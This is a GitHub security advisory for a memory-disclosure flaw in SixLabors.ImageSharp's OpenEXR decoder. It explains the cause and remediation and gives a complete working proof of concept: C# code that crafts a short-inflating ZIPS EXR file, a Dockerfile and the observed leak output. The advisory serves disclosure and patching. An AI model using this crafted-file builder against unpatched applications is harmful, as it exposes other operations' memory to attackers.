GHSA-4q3p-rj5x-xv7p: Medium severity nuget/SixLabors.ImageSharp vulnerability
Summary
A crafted ZIP-compressed OpenEXR image can return stale memory from a prior ImageSharp operation as decoded pixels. The ZIP decoder accepts a non-empty inflate result shorter than the EXR block's required size, then the EXR decoder reads the full expected block.
This is a process-local, cross-operation information-disclosure defect. It is relevant when an application uses the shared Configuration.Default allocator for separate image operations and exposes pixels or output derived from a later attacker-controlled EXR decode. Whether that creates a network attack path depends on the host application.
No active exploitation is known.
Affected package and versions
- Package: SixLabors.ImageSharp (NuGet) - Affected published releases: 4.0.0, 4.1.0, and 4.1.1 - Affected range: >= 4.0.0, <= 4.1.1 - Commit 0815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.
EXR support first appears in v4.0.0. The cross-operation PoC exposes the prior-operation marker on each published 4.x release, while the full-inflate control does not expose it on any of them. Details
For ZIP/ZIPS EXR compression, ExrDecoderCore allocates the expected block buffer without AllocationOptions.Clean and later interprets the complete buffer as channel data. ZipExrCompression accepts a partial but non-empty inflate result: UndoZipCompression rejects only totalRead == 0.
Only the returned prefix is reconstructed and interleaved into the destination block. The remaining bytes retain allocator contents from a completed prior operation. ExrDecoderCore then converts those bytes into returned image pixels.
Reproduction
The attached Docker PoC uses the published SixLabors.ImageSharp NuGet package version 4.1.1. It first completes a valid 64x1 FLOAT/ZIPS EXR encoding that contains the test value 0.27182817. It then decodes a separate crafted 256x1 FLOAT/ZIPS EXR.
The exploit payload inflates to 8 bytes although the declared image block needs 1024 bytes. The control payload inflates to all 1024 bytes. The marker is present only in exploit output.
sh docker build -t imagesharp-4q3p-poc . docker run --rm imagesharp-4q3p-poc exploit docker run --rm imagesharp-4q3p-poc control
Test environment: Docker with mcr.microsoft.com/dotnet/sdk:8.0, .NET SDK 8.0.424 / .NET 8, Debian 12, Linux ARM64.
Observed output:
text imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f mode=exploit prior-operation=valid-exr-encode-completed bytes=383 prior-value=0.27182817 leaked=True first-prior-value-pixel=4
imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f mode=control prior-operation=valid-exr-encode-completed bytes=383 prior-value=0.27182817 leaked=False first-prior-value-pixel=-1
Suggested remediation
Reject ZIP/ZIPS EXR blocks unless the decompressor produces exactly the expected uncompressed byte count. Clearing the destination buffer is defense in depth, but exact-length validation is required before parsing any decompressed bytes.
Complete PoC files
Program.cs:
csharp using System.Buffers.Binary; using System.Globalization; using System.IO.Compression; using System.Reflection; using System.Text; using SixLabors.ImageSharp; using SixLabors.ImageSharp.Formats; using SixLabors.ImageSharp.Formats.Exr; using SixLabors.ImageSharp.Formats.Exr.Constants; using SixLabors.ImageSharp.PixelFormats;
// This performs two independent completed ImageSharp operations in one process. // The first is a valid EXR encoding containing a test value. The second is a // malformed EXR decode whose short ZIP result exposes that value from the // allocator shared through Configuration.Default. internal static class Program { private const int PriorWidth = 64; private const int AttackerWidth = 256; private const float PriorValue = 0.271828182f;
private static int Main(string[] args) { bool exploit = args.Length == 0 || args[0] == "exploit"; if (args.Length > 0 && args[0] is not ("exploit" or "control")) { Console.Error.WriteLine("usage: final-4q3p [exploit|control]"); return 2; }
Assembly imageSharp = typeof(Image).Assembly; string informationalVersion = imageSharp .GetCustomAttribute<AssemblyInformationalVersionAttribute>()? .InformationalVersion ?? "(missing)"; Console.WriteLine($"imagesharp-assembly={imageSharp.GetName().Version} informational-version={informationalVersion}"); Console.WriteLine($"mode={(exploit ? "exploit" : "control")}");
EncodePriorOperation();
// Both variants declare a 256 x 1 FLOAT/ZIPS image, requiring 1024 // uncompressed bytes. The control payload supplies all 1024 bytes. // The exploit payload supplies eight non-empty bytes. byte[] exr = BuildAttackerExr(exploit ? 8 : AttackerWidth sizeof(float)); using Image<RgbaVector> result = Image.Load<RgbaVector>( new DecoderOptions { Configuration = Configuration.Default }, new MemoryStream(exr));
result.DangerousTryGetSinglePixelMemory(out Memory<RgbaVector> memory); int firstLeak = FindPriorValue(memory.Span);
Console.WriteLine($"prior-value={PriorValue.ToString("R", CultureInfo.InvariantCulture)}"); Console.WriteLine($"leaked={firstLeak >= 0} first-prior-value-pixel={firstLeak}");
if ((firstLeak >= 0) != exploit) { Console.Error.WriteLine("unexpected disclosure result"); return 1; }
return 0; }
private static void EncodePriorOperation() { using var previousImage = new Image<RgbaVector>(PriorWidth, 1); for (int x = 0; x < PriorWidth; x++) { previousImage[x, 0] = new RgbaVector(PriorValue, 0.125f, 0.5f, 1f); }
using var encoded = new MemoryStream(); previousImage.Save(encoded, new ExrEncoder { Compression = ExrCompression.Zips, PixelType = ExrPixelType.Float, });
Console.WriteLine($"prior-operation=valid-exr-encode-completed bytes={encoded.Length}"); }
private static int FindPriorValue(ReadOnlySpan<RgbaVector> pixels) { int expectedBits = BitConverter.SingleToInt32Bits(PriorValue); for (int x = 0; x < pixels.Length; x++) { if (BitConverter.SingleToInt32Bits(pixels[x].R) == expectedBits) { return x; } }
return -1; }
private static byte[] BuildAttackerExr(int inflatedBytes) { byte[] compressed = ZlibCompress(new byte[inflatedBytes]); using var output = new MemoryStream(); using var writer = new BinaryWriter(output);
writer.Write(new byte[] { 0x76, 0x2F, 0x31, 0x01 }); // OpenEXR magic writer.Write((byte)2); writer.Write(new byte[] { 0, 0, 0 });
using (var channels = new MemoryStream()) using (var channelWriter = new BinaryWriter(channels)) { WriteString(channelWriter, "R"); channelWriter.Write(2); // FLOAT channelWriter.Write((byte)0); channelWriter.Write(new byte[] { 0, 0, 0 }); channelWriter.Write(1); channelWriter.Write(1); channelWriter.Write((byte)0); WriteAttribute(writer, "channels", "chlist", channels.ToArray()); }
WriteAttribute(writer, "compression", "compression", new byte[] { 2 }); // ZIPS WriteBox(writer, "dataWindow"); WriteBox(writer, "displayWindow"); WriteAttribute(writer, "lineOrder", "lineOrder", new byte[] { 0 });
byte[] one = new byte[4]; BinaryPrimitives.WriteSingleLittleEndian(one, 1F); WriteAttribute(writer, "pixelAspectRatio", "float", one); WriteAttribute(writer, "screenWindowCenter", "v2f", new byte[8]); WriteAttribute(writer, "screenWindowWidth", "float", one); writer.Write((byte)0); // end of header
long chunkOffset = output.Position + sizeof(ulong); writer.Write((ulong)chunkOffset); writer.Write((uint)0); // scanline writer.Write((uint)compressed.Length); writer.Write(compressed); writer.Flush(); return output.ToArray(); }
private static void WriteBox(BinaryWriter writer, string name) { using var value = new MemoryStream(); using (var box = new BinaryWriter(value, Encoding.ASCII, leaveOpen: true)) { box.Write(0); box.Write(0); box.Write(AttackerWidth - 1); box.Write(0); }
WriteAttribute(writer, name, "box2i", value.ToArray()); }
private static byte[] ZlibCompress(byte[] source) { using var compressed = new MemoryStream(); using (var zlib = new ZLibStream(compressed, CompressionLevel.Optimal, leaveOpen: true)) { zlib.Write(source, 0, source.Length); }
return compressed.ToArray(); }
private static void WriteAttribute(BinaryWriter writer, string name, string type, byte[] value) { WriteString(writer, name); WriteString(writer, type); writer.Write(value.Length); writer.Write(value); }
private static void WriteString(BinaryWriter writer, string value) { writer.Write(Encoding.ASCII.GetBytes(value)); writer.Write((byte)0); } }
Project file:
xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net8.0</TargetFramework> <Nullable>enable</Nullable> <ImplicitUsings>enable</ImplicitUsings> </PropertyGroup> <ItemGroup> <PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /> </ItemGroup> </Project>
Dockerfile:
dockerfile FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /poc COPY final-4q3p.csproj Program.cs ./
Debug is intentional: ImageSharp 4.1.1's package build target reports a missing-license warning rather than an error in this configuration. The program is still compiled against the published 4.1.1 NuGet assembly. RUN dotnet restore && dotnet build -c Debug --no-restore
ENTRYPOINT ["dotnet", "bin/Debug/net8.0/final-4q3p.dll"]
Run:
sh docker build -t imagesharp-4q3p-poc . docker run --rm imagesharp-4q3p-poc exploit docker run --rm imagesharp-4q3p-poc control
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
nuget/SixLabors.ImageSharpto a version that resolves this vulnerability.Fixed in 4.1.2 - Compensating control
For ZIP/ZIPS OpenEXR blocks, require the decompressor to produce exactly the expected uncompressed byte count before parsing any decompressed bytes; reject partial or short non-empty inflate results.
Event History
Frequently Asked Questions
Which deployments are realistically exposed?
Applications are relevant when they use the shared Configuration.Default allocator for separate image operations and expose decoded pixels or output derived from a later attacker-controlled EXR decode. Whether this creates a network-reachable attack path depends on the host application.
What does an attacker need to provide?
The attacker needs to supply a crafted ZIP- or ZIPS-compressed OpenEXR image. The malformed inflate result must be non-empty but shorter than the EXR block size expected by the decoder.
Which package releases should be treated as affected?
Affected published SixLabors.ImageSharp releases are 4.0.0, 4.1.0, and 4.1.1, corresponding to the range >= 4.0.0 and <= 4.1.1. EXR support first appears in 4.0.0.
How can an application determine whether it is exposed to prior-operation data disclosure?
Exposure requires a cross-operation scenario: a prior image operation leaves data in the shared Configuration.Default allocator, followed by decoding an attacker-controlled ZIP-compressed EXR whose decoded pixels or derived output are exposed. The provided proof of concept exposed the prior-operation marker on each published affected 4.x release.